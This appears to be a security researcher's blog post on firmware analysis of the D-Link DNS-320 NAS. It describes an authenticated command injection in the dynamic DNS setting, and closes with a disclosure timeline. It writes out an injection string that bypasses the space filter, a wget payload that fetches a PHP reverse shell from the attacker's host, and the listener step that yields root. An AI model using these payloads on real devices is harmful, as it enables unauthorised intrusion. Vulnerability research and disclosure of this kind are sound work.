Some time ago I bought a D-Link 2-Bay NAS (Network-attached storage), pretty awesome to set up two mirrored HDDs and save my backups. It's a D-Link DNS-320 model, very popular and sold until recently, that was discontinued.
One day, I realized that my firmware version was outdated (oh my!) so I decided to update it to the latest version. One thing led to another, and I end up with a root shell in the device, here is how.
The firmware version is 2.03 (MD5 85c8db69504c37ab1840850f7a7038a1 - DNS-320_fw_2.03b03), the latest for this device released on 13 May 2013. Download here.
The first thing I did was to extract the filesystem of the device from the firmware image. I'm going to be really quick on this, using some binwalk-fu, dd-fu and firmware-mod-kit-fu, it's not really difficult to get it.
Using binwalk we can see the different structures embedded in the firmware image.
Click to enlarge
The interesting part is @ 0x3C4740, where we can find a Squashfs filesystem, very used in embedded devices. We have to cut from there with dd, and extract the new image. To be said that to extract the Squashfs filesystem I had to use the unsquashfs_all.sh script included in firmware-mod-kit because of the different and painful existing implementations.
After that? We just got it!
We will find a bunch of ARM binaries: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.14, stripped
Some of them stripped, some of them not, sometimes we will have debug symbols to help us.
The processor assembled in the device is an ARM926EJ-S rev 1 (v5l).
After a walk around the system, I started to stare at /cgi/ binaries, those in charge of user web panel interaction. Could I have some fun with these? Of course I can! Lets have a look at how dynamic DNS configuration is made in the Networking Configuration section of the panel.
For networking configuration, D-Link developers have placed an additional binary in the middle of the cgi binary and the system network commands, this binary is cmd_network, and it accepts the following commands:
Said this, here is how dynamic DNS is configured from the user to the system:
The red painted calls are performed using a system() call to the program with the parameters provided by the user. IDA can give us a good overview of this behavior:
There is no filter of what characters the user can provide at the binaries level (no sanitization of the input), so we are in front of an OS command injection vulnerability.
I tried to inject a test command to exploit the vulnerability, but this is what happened:
Blank spaces are filtered at the web level, and we need them to inject useful commands. We will need to prove our command-line-fu to get rid of this problem. After some training, here is the trick:
To execute ";wget 192.168.1.6" with no blank spaces, we can use ";CMD=$'\x20192.168.1.6/';wget$CMD".
We know the NAS has wget available to be used, and as it is connected to the network we can listen in another box in the port 80 with netcat to check if our commands are being successfully executed.
So there we go ... ;CMD=$'\x20192.168.1.6/';wget$CMD in the host field ... and ...
YAY! We have received the wget petition on the other side, so our commands are being executed properly!
Now we just need to execute a payload capable of giving us a shell. We have php command available, so we can upload a php reverse connection shell script and listen for the shell on the other side. Lets have a try with this one.
First, we upload the reverse shell somewhere to download it to the NAS using wget again. Then, we download it to /tmp/ with .php extension:
"wget 192.168.1.6/rs.txt -O /tmp/rs.php" payload would look like ...
Now we should have our php reverse shell script stored in /tmp/rs.php, so time to run it:
Then we listen in port 1234 on the other side to wait for the reverse shell, which is configured to connect to the IP of this machine to port 1234.
There we go, we have a root shell in our device! uid=0(root) gid=0(root).
I tried to address D-Link this and other issue present in this product. They have no bug bounty program at the moment, and somewhere in the report thread they just lost the conversation. As the product is end of life, and this exploit requires authentication, I released the vulnerability to the public in this post. The vulnerabilities are probably inherited by new models, this should be taken in consideration.
16 Aug 2013 - Vulnerability reported to security contact.
17 Aug 2013 - Security contact replies and we start to discuss about it.
22 Aug 2013 - I am forwarded to another security/engineering contact to finally report the vulnerability.
Today (post date) - No new contact from them.